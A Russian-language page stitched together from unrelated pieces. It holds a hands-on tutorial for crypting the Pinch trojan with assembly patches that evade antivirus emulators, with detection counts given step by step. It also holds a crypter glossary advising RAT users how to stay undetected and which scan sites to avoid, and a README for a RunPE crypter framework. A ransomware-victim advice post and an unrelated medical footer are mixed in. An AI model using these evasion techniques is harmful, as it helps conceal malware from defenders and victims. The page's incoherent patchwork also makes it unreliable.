Что такое криптор вирусов

Подготовка к исследованиям

Прячем код

Сначала обратимся к тривиальным и давно известным нам методам сокрытия кода – шифровке секции по константе. В своих статьях я уже не раз обращался к подобному коду. Удивительно, но простой XOR машинных кодов, находящихся в секции кода, позволяет избавиться от внимания аж четверти антивирусных программ! Итак, откроем сгенерированный файл пинча (pinch.exe) в отладчике. Точка входа по умолчанию равна 13147810. По адресу 13147C26 начинается поле сплошных нулей, оставленное компилятором для выравнивания секции. Нам это на руку – здесь мы будем размещать наш код. Итак, взгляни на вид криптора:

13147C30 PUSHAD
13147C31 MOV ECX,6C2F
13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]
13147C3C XOR EDX,76
13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX
13147C45 LOOPD SHORT pinch_pa.13147C36
13147C47 POPAD
13147C48 JMP SHORT pinch_pa.13147810

13147C4B XOR EAX,EAX; обнуляем регистр
13147C4D PUSH pinch_pa.13147C62; помещение адреса нового обработчика в стек
13147C52 PUSH DWORD PTR FS:[EAX]; помещение адреса старого обработчика в стек
13147C55 MOV DWORD PTR FS:[EAX],ESP; помещение в FS:[0] указателя на структуру
13147C58 CALL pinch_pa.13147C58; генерация исключения путем переполнения стека
13147C5D JMP pinch_pa.13145555; данная инструкция никогда не будет исполнена
13147C62 POP EAX; восстановление регистров
13147C63 POP EAX
13147C64 POP ESP
13147C65 JMP pinch_pa.13147810; переход к выполнению программы

Кратко описать функционал кода можно следующим образом: мы создаем новый обработчик исключений и размещаем его по адресу 13147C62. Эмуляторы кода, которые неспособны должным образом определить логику выполнения программы, полагают, что вслед за бесконечной рекурсией по адресу 13147C58 произойдет передача управления на следующую инструкцию (JMP pinch_pa.13145555), в результате чего направляют дальнейшее исследование логики выполнения кода по неверному пути. На самом же деле, стек переполняется, вызывается исключение, а программа благополучно продолжает свою работу. Действуя таким образом, мы отметаем еще четыре антивируса (только 27 из 43 утилит справились с задачей и распознали вредоносный код).

Итак, мы отправили на прогулку лесом едва ли не половину антивирусов – что же дальше? Теперь мы займемся более изощренными способами антиотладки и простейшей антиэмуляции.

Продолжаем эксперимент

Возможно, многим покажется, что описанного выше уже достаточно, чтобы успешно распространять троянские программы, ведь шансы быть обнаруженными мы сократили вдвое. Это верно, однако мы отсекли лишь самые убогие антивирусы, которые совершенно не отвечают требованиям времени. В ходе экспериментов я выяснил, что и с мощной эмуляцией кода можно справиться, причем достаточно легко!

13147C90 - NEW OEP
length of code 4c

13147c30 - start of code
13147c7c -end of code

13147C90 60 PUSHAD
13147C91 B9 4C000000 MOV ECX,4C
13147C96 8B91 307C1413 MOV EDX,DWORD PTR DS:[ECX+13147C30]
13147C9C 83F2 54 XOR EDX,54
13147C9F 8991 307C1413 MOV DWORD PTR DS:[ECX+13147C30],EDX
13147CA5 ^E2 EF LOOPD SHORT kadabra_.13147C96
13147CA7 61 POPAD
jmp 13147c30

13140000 4D DEC EBP
13140001 5A POP EDX
13140002 0000 ADD BYTE PTR DS:[EAX],AL
13140004 0100 ADD DWORD PTR DS:[EAX],EAX

.
13140028 0000 ADD BYTE PTR DS:[EAX],AL

13140002 EB 24 JMP SHORT 13140028

а байты, расположенные по адресу 13140028, на следующий код:

13140028 -E9 637C0000 JMP 13147c90

Исследования показали, что пинч содержит четыре секции, две из которых – .conf и .data – содержат данные, которые могут быть рассмотрены антивирусами в качестве константы и занесены в сигнатурную базу. Поэтому необходимо зашифровать и их.

Для этого полностью убираем код раскриптовки, заменяя его в OllyDbg на нули, и видим, что наш образец все равно палится как пинч! Делаем вывод, что либо антивирусы методом перебора видят наш код, либо проверяют image base. Пробуем изменить Image base – и, действительно, отметаем еще четыре антивируса.

Lost in Time, или Dr. Web, не считающий время

Представь ситуацию: мы располагаем тысячей программ, каждая из которых использует 15-секундный таймер. Суммарное время задержки выполнения кода составит, что несложно подсчитать, 15000 секунд, или около четырех часов. Таким образом, если антивирусный алгоритм в своей работе по-настоящему эмулирует таймер, анализ тысячи подобных файлов займет у него вышеуказанное время. Конечно, реальная эмуляция таймеров – нонсенс, и многие алгоритмы просто-напросто нужным образом изменяют регистры или стек контекста процесса, если встречают одну из API-функций, выполняющих задержку выполнения программы. Но все ли антивирусы настолько хороши? Проверим на практике.

Для того, чтобы засечь время, используем API-функцию GetLocalTime, которая записывает по указанному в стеке адресу следующую 16-байтную структуру:

typedef struct _SYSTEMTIME <
WORD wYear; // Год
WORD wMonth; // Месяц
WORD wDayOfWeek; // День недели
WORD wDay; // День месяца
WORD wHour; // Часы
WORD wMinute; // Минуты
WORD wSecond; // Секунды
WORD wMilliseconds; // Миллисекунды
> SYSTEMTIME;

13147CFA PUSH kadabra_.13147D7D; записываем в стек первый адрес
13147CFF CALL kernel32.GetLocalTime; получаем первый временной штамп
13147D04 PUSH 3E8; задержка таймера – 1000 миллисекунд, или 1 секунда
13147D09 CALL kernel32.Sleep; запуск таймера
13147D0E PUSH kadabra_.13147D94; записываем в стек второй адрес
13147D13 CALL kernel32.GetLocalTime; получаем второй временной штамп

В результате выполнения получаем две 16-байтных заполненных структуры, каждая из которых записана, начиная с адреса, определенного нами выше:

[год][месяц][день недели][День месяца] [Часы] [Минуты] [Секунды][Миллисекунды]

13147D7D: DA 07 0A 00 02 00 0C 00 0D 00 0C 00 31 00 B1 03

13147D94: DA 07 0A 00 02 00 0C 00 0D 00 0D 00 04 00 B1 03

13147CF9 ;Код получения временных штампов (приведен выше)
13147D18 MOV AL,BYTE PTR DS:[13147D89]; первое значение помещаем в AL
13147D1D MOV AH,BYTE PTR DS:[13147DA0]; второе значение помещаем в AH
13147D23 SUB AH,AL; получаем разность значений
13147D25 XOR EBX,EBX; обнуляем EBX
13147D27 MOV BL,AH; перемещаем разность в EBX
13147D29 ADD EBX,13147C29; вычисляем адрес перехода
13147D2F JMP EBX; переходим по вычисленному адресу

Наверное, ты уже догадался, что адрес, который помещается в EBX, должен быть равен 13147C30. Однако, как показывает практика, не все идеально, особенно если речь идет об эмуляции кода. Благодаря несложным манипуляциям мы получаем великолепный результат: эмуляция Dr. Web разваливается на глазах! :). Вместе с ним отступают и еще два антивиря – это не может не радовать нашу душу. Всего 22 из 43 антивирусов продолжают подозревать нашу программу в чем-то нехорошем.

Последние штрихи

Думаю, что ты читал о TLS (Thread Local Storage)-callback-функциях достаточно (в частности, Крис посвятил TLS отдельную статью, опубликованную в одном из номеров нашего журнала), однако напомню о том, что они собой представляют, опуская описание широчайших возможностей их использования. Callback-функции выполняются непосредственно после инициализации программы загрузчиком, еще до остановки на OEP. Информация обо всех таких функциях содержится в специальной таблице, а адрес таблицы, в свою очередь, извлекается загрузчиком из специального поля PE-заголовка.

Попробуем создать таблицу TLS-функций для нашей программы (к написанию кода callback-функции приступим чуть позже). Структура ее, имеющая размер шестнадцати байт, проста. Первые два двойных слова используются для записи адресов начала и конца выделяемой для потока области данных. В качестве этих значений мы выберем два произвольных адреса (13147d80 и 13147d90), лежащих в пределах области выравнивания секции .text, оставленной компилятором. Оставшиеся два DWORD’а – это, соответственно, поле для записи индекса, возвращаемого callback-функцией (13147d96), и адрес таблицы callback-функций (13147da0).

Так выглядит код получившейся TLS-таблицы: 80 7d 14 13 90 7d 14 13 96 7d 14 13 a0 7d 14 13. Разместим его по адресу 13147d5d при помощи отладчика (запомним адрес – он нам еще понадобится).

Приступим к созданию кода таблицы TLS-функций.

По адресу 13147db0 разместим саму функцию, шифрующую все наши ранее созданные крипторы, а также код по второму кругу:

13147DB0 PUSHAD; сохраняем регистры в стек
13147DB1 MOV ECX,6D2F; устанавливаем счетчик
13147DB6 MOV DH,BYTE PTR DS:[ECX+13141000];помещаем в DH текущий байт секции
13147DBC XOR DH,CL; выполняем логическое сложение с младшим байтом счетчика
13147DBE MOV BYTE PTR DS:[ECX+13141000],DH; помещаем закодированный байт в память
13147DC4 LOOPD SHORT 13147DB6; повторяем цикл
13147DC6 POPAD; восстанавливаем регистры
13147DC7 RETN; возвращаемся из функции

Полагаю, ты помнишь, что после внесения кода в файл необходимо выполнить его, чтобы он закодировал инструкции, после чего следует сохранить измененный файл прямо из-под OllyDbg.

Я намерено не стал доводить нашу криптовку до победного конца. Придумывай новые методы обмана, внедряй в наш образец и таким образом обманывай новые антивирусы. Удачи в благих делах!


Всем привет!
Хотел бы напомнить вам, или сообщить, для тех, кто про это еще не слышал, что в сети уже давно стали популярны вирусы крипторы.

Что это такое "вирус криптор"?
На текущее время это самый опасный вирус. Его суть в том, что он шифрует файлы на вашем пк. Шифрует как правило самые уязвимые и важные для вас файлы. Например, он может зашифровать ваши фотографии, текстовые документы или документы офиса. Фильмы и прочие большие файлы его не интересуют.
Самое страшное в этой ситуации, что вернуть файлы на 95% будет уже не возможно, вам не поможет ни один специалист мира, т.к. криптовка, это необратимый процесс(без наличия ключей). Чтобы снять криптовку с файлов нужны ключи, а они известны только тому, кто создал вирус.

Как происходит заражение?
Очень часто данный вирус подкидывают через почту, под видом неких файлов. На этой неделе мне пришло это счастье на почту и выглядело оно так:

письма даже не открывал, сразу нажал, что это спам и удалил
Никакую Милену и Руслану я не знаю, это чистой воды развод. Письма кстати упали не в спам, а в инбокс, поэтому все файлы и вложения были активны. Если бы попали в спам, то файлы и ссылки были бы не кликабельны(на Яндекс почте так)
Самое главное не это. Никогда не открывайте похожие файлы, открыв файл из письма вашему компьютеру пиз. ец! Какой бы заманчивый заголовок не был, пусть идут в жопу! Если это действительно что-то важное, то с вами свяжутся повторно, или как минимум воспользуются более надежными средствами связи, например телефоном.

Теперь в двух словах о том, что делать, если поймали вирус криптор, что делать, если обнаружили момент заражения и как на практике выглядит заражение.

Как происходит заражение?
Как правило схема такая. Вы кликаете по файлу, он весит около 20-70 кб. У вас ничего на первый взгляд не происходит. В этот момент запущенный файлик сделал своих клонов и размножился на пк в разных папках, при этом запустил одну из копий уже из другого места(не из той папки, где вы его запустили изначально). После этого происходит стадия аплоада. Что это? Вирус по средствам тор сетей выкачивает из интернета основное тело вируса и запускает его. С этого момента ваши документы один за другим начнут умирать. Иногда вирус работает бесшумно, т.е. никаких видимых признаков нет, иногда вешает компьютер наглухо чтобы вы не вмешивались, иногда это выглядит как кратковременные подвисания. Еще одним косвенным признаком является характерный шум жесткого диска, когда например идет копирование. Если вы ничего такого на пк не делаете, но при этом ваш диск активно и безостановочно заклацал, значит скорее всего кабздец!

Что делать если обнаружили момент заражения?
Я бы пожалуй как можно скорее отключил питание. Ждать пока компьютер выключится сам после нажатия на кнопку "выключить" это не вариант. Заражение происходит почти молниеносно и может достигать до тысячи файлов в минуту, а это например ваша папка с личными фотографиями, считайте, что ее уже не станет пока вы ждете выключение. Если же выдернуть питание сразу, то можно отделаться малой кровью.

Как на практике выглядит заражение?
Вы запустили вирус, он зашифровал все файлы, при этом естественно оригинальных файлов вы больше не увидите. После этого вам на весь экран вылезает сообщение, мол скинь 100500 руб. на кошелек и тогда мы вышлем вам ключ расшифровки. Еще бывает это условие поставлено с дедлайном, мол отправь деньги в течение нескольких часов, иначе файлы будут уничтожены безвозвратно.

Отправлять ли деньги?
Однозначно нет! Отправив деньги вы только стимулируете распространение вирусов. Тем более нет никаких гарантий, что вам расшифруют файлыпосле того, как вы вышлите деньги на неизвестный счет.
Что же тогда делать?
Самым разумным будет извлечь зараженный жесткий диск из компьютера и убрав его подальше больше никогда не запускать, чтобы окончательно не потерять информацию. Возможно в будущем появятся инструменты, которые помогут вам извлечь данные, сейчас же все что остается это только ждать, причем возможно до бесконечности.
На сайтах антивирусных программ бывает появляются расшифровщики для некоторых крипторов, называются они - декрипторы. Помните я говорил, что поймав подобный вирус вы с 95% вероятностью безвозвратно потеряете файлы? Так вот, декрипторы от антивирусных компаний это и есть тот самый единственный шанс в 5%, который возможно поможет именно вам.

Tермины & Определение

  • RunPe
  • Runpe - это часть кода которая инжектирует функциональную часть вируса в память выбранного процесса.
  • Injection
  • Процесс по размещения PayLoad в память выбранного процесса называется Инъекция т.е Injection
  • Наиболее часто инъецированные процессы:
  • svchost.exe
  • Regasm.exe
  • explorer.exe
  • Браузер по умолчанию ( chrome.exe, opera.exe, firefox.exe, iexplorer.exe )
  • itselt - т.е сам ( Имея в виду PayLoad инжектится в запущенный процесс )
  • vbc.exe
  • cvtres.exe
  • PayLoad
  • объясняя новичкам это означает, файл который вы выбрали для шифрования (т.е вирус)
  • Ecryption
  • Алгоритм который "Защищает" преобразовывает байты выбранного файла, делая их неузнаваемыми и полностью отличающими от оригинальных байтов файла.
  • Stub
  • Программа создаётся для того чтоб хранить зашифрованный файл (encrypted file) и при запуске инжектировать его в память
  • Это где
  • Private Stub
  • Тоже самое, что и выше кроме того что вы должны быть единственным человеком, использующий этот Stub
  • Kод в основном сильно отличается от "Публичных Стабов" что делает его труднее обнаруживаемой при сканирование
  • Дальше придерживается "FUD" - Fully undetectet

Как всё это работает?

  • Иллюстрация 1.1 демонстрирует что криптер делает с вашим сервером
Иллюстрация 1.1:


  • Определение Скантайма
  • Файл при сканирование обнаруживаемый - означает: Если до того как его запустили Антивирус обнаруживает его или когда сканирование запущено файл был обнаружен и отмечена как Угроза
  • Обнаружения при сканирование (Scantime Detect) вызваны видимыми инструкциями файла или "PE info" - как сборка/иконка, Клонированный сертификат, тип ресурсов и размер файла.
  • В основном это означает что RAT/Server которую вы криптуете практический не отличается потому что файл был зашифрован Хреного плохо или для Антивирусов узнаваемым способом.
  • Безопасные место где вы можете проверять Стаб на ScanTime Detection это:
MajyxScanner Scan4You AvDetect

  • Oпределение Рантайма
  • Файл при запуске обнаруживаемый - означает: Если файл был запущен и вашь Антивирус обнаружил его и отметил его как угрозу и Заблокировал, Остановил, Удалил его.
  • Обнаружения при запуске (Runtime Detect) вызвано из за поведения. Восновом как ваш файл действует и выполняется может и вызвать обнаружение при запуске.
  • Rat/Server который вы закриптовали влияют на обнаружение при запуске
  • Если вы хотите избежать обнаружение при запуске (Runtime Detect) вы должны воздерживаться от перегруженных настроек. RootKit (руткит) вероятнее всего будут обнажении. Лучше всего использовать как можно меньше настроек/функций при создание вашего сервера и более из криптора. Почему? да потому что легко обнаружить поведение широко известного RAT-а, когда он некогда не был обновлён и изменён. Криптеры обновляются и модифицируются так что более надежнее использовать их настройки чтоб избежать Runtime Detect-а.
  • Способ предотвратить некоторые Runtime Detect-и это Анти сканирование памяти (Anti Memory Scan). Которая в основном будет отказать в доступе к пространству памяти где ваш сервер будет работать.
  • Безопасные место для сканирование Runtime Detection было Refud.Me но их Закрыли!

  • Обнаружение
  • Scantime
  • Вызванное пользователем:
Базовые/общие обнаружение - частая причина: Размер, Иконка и информация файла выбранные пользователем. Пример общих обнаружении: Kazy (это может быть и вина "кодеров" в некоторых случаях) Bary Zusy Gen:* - этот детект можно легко убрать: Изменой иконки - (иконкой низкого разрешения / размера) Изменой информации о файле - ( найти инфо доверенных программ) Немного добавить размер - Pump File Если всё это не сработает - Попробуйте удалить информацию о файле (Используя ResHacker)
  • Вызванное Криптером/програмистом(кодером):
Евристические обнаружения и некоторые общие обнаружения Структура PE Примеры обнаружения: Injector.* ( т.е общего обнаружение NOD32 Detection ) Heur.* MSIL.*

  • Runtime
  • Вызванное пользователем:
  • Выбирание всех возможных настроек в RAT.
  • Выбор общих процессов для инжекта
  • Здесь некоторые инструкции как исправить всё это:
  • Избегайте инжекта в процессы как svchost.exe т.е известные
  • Добавьте Задержку (30сек+) этим можно обходить Рантайм некоторых Антивирусов
  • Добавьте хорошую информацию и иконку

  • Вызванное Криптером/программистом(кодером):
  • Чрезмерное использование Runpe без модификации
  • Copy&Paste кода
  • Долгое время не проверял Runtime Detection


Как не "развращать" ваш Server?

  • Чего Следует избегать:
  • Двойное криптование - С какой стати вы это делаете.
  • Кликанье на каждую отдельную функцию в RAT и в Crypter-е тоже
  • Важные Вещи, что нужно держать в уме:
  • ваш файл Native или .NET/Мanaged?
Native RATS програмированны без зависимостей (т.е C, C++, VB6, Delphi) DarkComet CyberGate Prototype NetWire Babylon NanoCore LuminosityLink Immenent Monitor 3 njRAT PiRat Quesar RAT
  • Является ли ваш файл .NET?
  • Рекомендированно использовать для инекции "itself" использование других настроек может испортить вашь файл.

  • Является ли ваш Файл Native?
  • Рекомендованно не использовать для инекции "itself". Выберите что-то другое.

Почему Мой Файл уже не FUD?

  • Очень важные факторы в том как быстро она детектится:
Распространение вируса Где файл был загружен Насколько велике и популярна и сколько клиентов в вашем Криптосервисе Какой малварь был закриптован Антивирусы обновляются минимум раз в день!
Это и есть работа криптора, они могут стать обнаруживаемы. Но Refud чистить его возможно, это делается менее чем за час!

Как не испортить вашему криптору FUD Time?

  • Чего следует избежать:
Сканирование на сайты: которые сливают ваши файлы антивирусным компаниям
  • Запрещённые сайты для сканирования(здесь не все):
VirusTotal Anubis Jotti
Загрузка ваших файлов на сайты Uploading Host Files
  • Запрещённые сайты для загрузок ваших файлов(здесь не все):
DropBox MediaFire GoogleDrive
Не отправляйте ваши файлы через Скайп! (Иллюстрация 1.2)
Иллюстрация 1.2:


  • Дела которые необходимо делать:
  • Каждый антивирус будет делится семплами с ваших ПК убедитесь, что вы отключили любую такую услугу на ваших AVs.

Как не надоедать владельцу криптера?
  • Чего следует избегать:
Спамерство
Постить резултаты детекта на оф.сайте в комментариях ОСОБЕННО тогда когда эти детекты ваша вина.

  • Дела которые необхадимо делать:
Если вы отправляете саппорту сообщение, что ваш файл не работает укажите все настройки которые вы использовали.
будь терпеливым Соблюдай правила Не будь идиотом Читайте все инструкции/видео уроки для настройки криптера а после этого общайтесь с саппортом для решение ваших проблем

Crypter Характеристики и описание:

  • Startup инсталация:
Модуль стаба который добавляет вашь криптований файл в список програм запускамих Windows (startup/msconfig)
Многие различные типы: Использование регистра(regedit), Задачи, Копирование файла в Startup фолдет, другие.

  • Startup Persistence:
Модуль который проверяет удалён ли вашь файл из списка Startup
  • Anti Memory Scan:
Модуль который запрещает доступ к всему что попытается прочитать инжектированый пейлоад (инжектирований вирус загружений в какой либо процесс)
Чрезвычайно полезно для обхода RunTime Detect

  • Elevate Process/Privileges:
Попытки получить права администратора для вашего файла.
  • Critical Process:
Изменяет некоторые атрибуты работы вашего файла, который будет вызывать BSOD (Синий экран смерти).
  • Mutex:
Очень полезная функция, чтобы убедиться, что ваш файл не работает более чем один раз в то же время.
  • Melt File:
Удаляет / Удаляет файл после того, как он успешно запустился.
  • File Pumper:
Добавляет определенное количество байтов (со значением 0) в конце файла, увеличивая его размер, но не нарушает каких-либо процедур во время выполнения.
  • Compress:
Уменьшает выходной размер.
  • Icon or Assembly Cloner:
Копирование данных Ассамблеи или значок выбранного файла. (чтобы обойти некоторые общие обнаружения)
  • Encryption Algorithm:
Функция используется для преобразования байтов RAT/ Server в нечто совершенно другое.
  • Delay Execution:
Используется для "Stop" - приостановить свой файл, во время работы. В течение определенного периода времени.
Добавление 30+ секунд будет в некоторых случаях обходить RunTime Detection, верить этому или нет вам решать!.

  • Binder:
Добавлять другой файл в стаб, после запуски стаба вашь RAT/Server запустится но с этим и файл который вы забиндовали.
  • Downloader:
Ну это очевидно, загружает и запускает файл с заданного URL-адреса.
  • USG – Unique Stub Generator:
Будьте уверены что чекая эту функцию вы используйте разные стабы и они будут отличатся от предыдущего крипта.
В реале это функция прост изменяет имена переменных и какие-то методы.

  • Fake Message Box:
Фейковое сообщение при запуске
  • Hide File:
файл будет Hidden поэтому жертва не может увидеть вирус в папке.
  • Antis:
Остановите свой файл от запуска, если некоторые программы работают в фоновом режиме:
  • Популярные Anti:
Anti Virtual Machine (VMWare, VirtualBox and VirtualPC) Anti Sandboxie Anti Wireshark Anti Fiddler Anti Debugger Anti Anubis
  • Botkill:
Ищет любые существующих файлов или процессов, которые могут быть вредоносные программы и убивает / удаляет их из системы.
  • Spreaders:
  • Копирует файл в тех местах, где он может заразить других пользователей.
  • Спреадерс не работают так что не ебите себе мозгы
  • Common spreaders:
  • USB
  • Rar/Zip
  • Chat/IM (Skype, Facebook, Omegle, Twitter) -Spamming
  • Junk Code:
  • Добавляет безспалезний мусорний код для баипасса Scantime Detection
  • Remove Version Info:
  • Удаляет инфу о файле
  • Require Admin:
  • Запрашивает окно UAC с просьбой, чтобы запустить файл как Admin.
  • Certifcate Clone/Forger:
  • Добавляет сертификат к файлу

GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.

Use Git or checkout with SVN using the web URL.

Want to be notified of new releases in XShar/Run_pe_cryptor_frame ?

If nothing happens, download GitHub Desktop and try again.

If nothing happens, download GitHub Desktop and try again.

If nothing happens, download Xcode and try again.

Latest commit

Files

Permalink

Фреймворк криптора/протектора с антиэмуляцией

Что это за проект и зачем он нужен ?

На самом деле много людей интересуется протекторами и вирусными технологиями. Кто-то хочет заработать, кто-то хочет повысить скилл в кодинге, кому-то просто это нравится и считается, что это своего вроде исскуство.)

Тем не менее, с момента основания ресурса ru-sfera.org, люди пишут мне с вопросами, хорошо-бы если был-бы какой-то проект, так-сказать каркас, что-то взять за основу. Да, есть готовые проекты, но они либо устарели, либо имеют слишком сложную структуру, либо имеют существенные недостатки, об этом ниже.

Так-как неизвестно-кто будет этим проектом пользоваться и кто прочитает эту статью, начнем с небольшего ликбеза.)

Что-же такое крипторы, их будущее и зачем они нужны ?

Очень нравится, что про это дело говорил Вазонез (До ухода в реал):

Криптор (aka cryptor) — это тулза, которая предназначена для скрытия троянов, ботов и прочей нечисти от детектирования антивирусами.

Крипторы можно разделить на 2 вида: хорошие и дерьмовые:

Хорошие крипторы работают очень просто, быстро и надёжно, хоть и не безглючно. Они дописывают свой код (в контексте таких крипторов этот код называется стабом) в криптуемую программу и шифруют код самой программы.

При запуске первым стартует стаб, он восстанавливает оригинальный код и программа начинает работать. Если криптор свежий (или просто хороший, об этом ниже), то закриптованная программа не будет детектироваться антивирусами.

Чаще всего такие крипторы полиморфны — т.е. код криптора в криптуемой программе каждый раз уникален, заполнен случайными инструкциями и бессмысленными вызовами функций API. Такие крипторы достаточно долго остаются недетектируемыми в силу уникальности каждого закриптованного файла.

Но, как говорится, на каждую хитрую жопу найдется х** с винтом — такие крипторы тоже со временем детектируются, и если автор не чистит свой продукт, то криптор перестает быть уникальным и посылается нах**.

Другим же типом крипторов являются стабовые крипторы. Вообще только дебил будет называть это криптором, но в силу еб*** и многочисленности авторов таких творений, мы не будем отрываться от стаи.

Итак, быдлокрипторы. Суть их работы вот в чем — есть стаб. Стаб в этом случае — это отдельная программа, к которой цепляется криптуемый файл. При запуске файл извлекается, расшифровывается и запускается.

Думаю с этим всё понятно, каково-же будущее крипторов ?

Антивирусы эволюционируют, появились новые технологие защиты (А именно детекты по поведению, детекты по репутации и т.д.), в частноти против крипторов появилась технология сканирования процессов, если вкратце, то антивирус либо сразу перед созданием процесса, либо через какое-то время сканирует процесс.

Тем самым понятно, даже если обойти эмулятор антивируса и сигнатурный детект, мы попадем под детект процесса.

Что делать ?

Менять технологию скрытия детекта, вот следующие решения:

Шифровать и скрывать критичные функции в коде (Например шеллы и т.д.), после расшифровки и запуска такой функции, если использовать антиэмуляцию, антивирус ничего сделать несможет.)

Морфить код, если вкратце, это самомодификация кода на лету (Данный метод реализован в этом крипторе).

3.Первые два способа, это если у вас есть исходник, что-же делать если исходника нет. Неужели крипторы умерли ?

Честно я так и думал, до недавнего времени, но это несовсем так:

Во первых если у вас есть даже зверек без детекта, его неплохо-бы скрыть от реверсера, к тому-же почти все детектится сейчас автоматикой, в таком случае в большинстве случаев робот задетектит сам криптор, по хешу, или не по хешу, но чем сложнее будет реверсеру, тем больше вероятность, что сам троянчик будет дольше жить.

Во вторых не все антивирусы детектят код в памяти, например виндовый дефендер как-то криво с этим работает.

Некоторые антивирусы дают запустить процесс на пару секунд, а этого и может хватит кстати.)))

С лекбезом закончили, на форуме есть темы для глубокого изучения вопроса:

Теперь про конкретный проект, что он делает:

Думал я что-бы такое сделать, просто стабовые крипторы, как описано выше смысла делать нет, через какое-то время будет детект стаба и смысл ?

Поэтому решил я сделать проект, где-бы сам криптованный зверек размещался-бы в дата-секции, т.е. есть программа (я назвал её shell_gen), которая из бинарного файла, делает пошифрованный массив байт и в общем-то больше ничего не делает.)

Далее уже второй проект (Сам криптор), работает с этим массивом данных, т.е. расшифровывает этот массив, делает антиэмуляцию, запускает.

Для достижения метаморфизма, shell_gen генерирует заголовочный файл, со следующими дефайнами:

#define START_MORPH_CODE 5

#define END_MORPH_CODE 14

На основе этих значений при сборки, генерируется "мусорный код" (Математичесие операции и т.д.), который будет случайным, после каждого вызова shell_gen и сборки.

Тем самым код будет разный, как по коду, так и по данным.

Сам криптор (x86_pe_cryptor) имеет модульную структуру:

1)modules/lazy_importer/

Модуль скрытия API из таблицы импорта. Пример использования:

auto base = reinterpret_caststd::uintptr_t(LI_FIND(LoadLibraryA)(kernel32));

LI_GET(base, VirtualFree)(pFile, 0, MEM_RELEASE);

2)modules/murmurhash/

Реализация вычисления хеша murmurhash на ассемблере (FASM, приложен к проекту).

3)modules/trash_gen_module/

Реализация модуля, для генерация случайных инструкций, генерации случаных API винды и получение случайного числа на ассемблере (FASM, приложен к проекту), более подробное описание здесь:https://github.com/XShar/simple_trashe_gen_module

4)modules/xtea/

Реализация алгоритма шифрование xtea на ассемблере (FASM, приложен к проекту).

5)modules/run_pe/

Реализация функции запуска, расшифрованного массива PE-файла в памяти, путем создания процесса.

6)modules/antiemul/

7)modules/metamorph_code/

Функции метаморфинга. Смысл, что при сборки, генерируются функции в случайном порядке, функции берутся в modules/metamorph_code/morph.cpp.

8)modules/simple_mutate_pe/

Функции мутации PE перед запуском.

Характеристики получившегося криптора:

1)Отстутствуют "опасные API" в таблице импорта (Такие-как CreateProcess и т.д.).

2)Имеет антиэмуляцию, направленную на привышение лимитов эмулятора антивирусов:

Выделение памяти 32 мегабайт, копирование туда нашего зверька, потом подсчет хеша этого куска памяти, шифровка/расшифровка этого куска памяти, в качестве ключа наш хеш.Эта-же память используется для размещения запуска зверька.

Получение ключа для расшифровки, следующим образом:

Генерируется массив случаных чисел от 0 до 9, далее генерируется хеш этих чисел, хеш генерируется на основе числа, сгенерированного при создании зашифрованного массива защищаемого файла. Далее сортируется массив от 0 до 9, т.е. в итоге у нас получается хеши от числел 0-9. Отсортированные по порядку, это и будет ключ. В момент генерации ключа, также в случайном порядке генерируется мусор из случайных инструкций и вызовов API.

  • Все строки зашифрованы, перед расшифровкой строк,происходит задержка 1 секунду, далее по меткам времени происходит вычисление, действительно-ли была задержка секунду. Если да, то на основе этого вычисляется размер ключа:size_key = (mesure2.wSecond - mesure1.wSecond) + 3. Если sleep был пропущен, то размер ключа будет неверный и расшифровка будет неправильна.

3)При сборки, в main и в модулях:modules/run_pe/, modules/trash_gen_module/ генерируются функции в случайном порядке, функции берутся в modules/metamorph_code/morph.cpp (На данный момент там функции арифметических операций). Тем самым достигается полиморфность не только данных, но и кода каждого образца.)))

4)Перед запуском происходит мутация запускаемого PE, что позволяет обойти детект в памяти у некоторых антивирусов.

Как работать с криптором:

Есть два проекта в Visual Studio 2017 или более новой:

1)shell_gen - Генерирует массив зашифрованных байт, файл /modules/data_protect.h.

2)x86_pe_cryptor - Сам криптор.

Для работы необходимо сделать следующее:

1.Переименовать защищаемый файл в "data_protect.exe" и поместить его в shell_gen/Release/

2.Запустить файл shell_gen/Release/shell_gen.exe

3.Собрать проект x86_pe_cryptor в Visual Studio 2017 или более новой.

Всё, в /x86_pe_cryptor/Release/x86_pe_cryptor.exe будет сам криптор.)))

Проект будет обновляться, что планируется:

3)Что-то ещё, в зависимости от активности на форуме.)))

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.

Copyright © Инфекционные заболевания

Type Name Latest commit message Commit time
Failed to load latest commit information.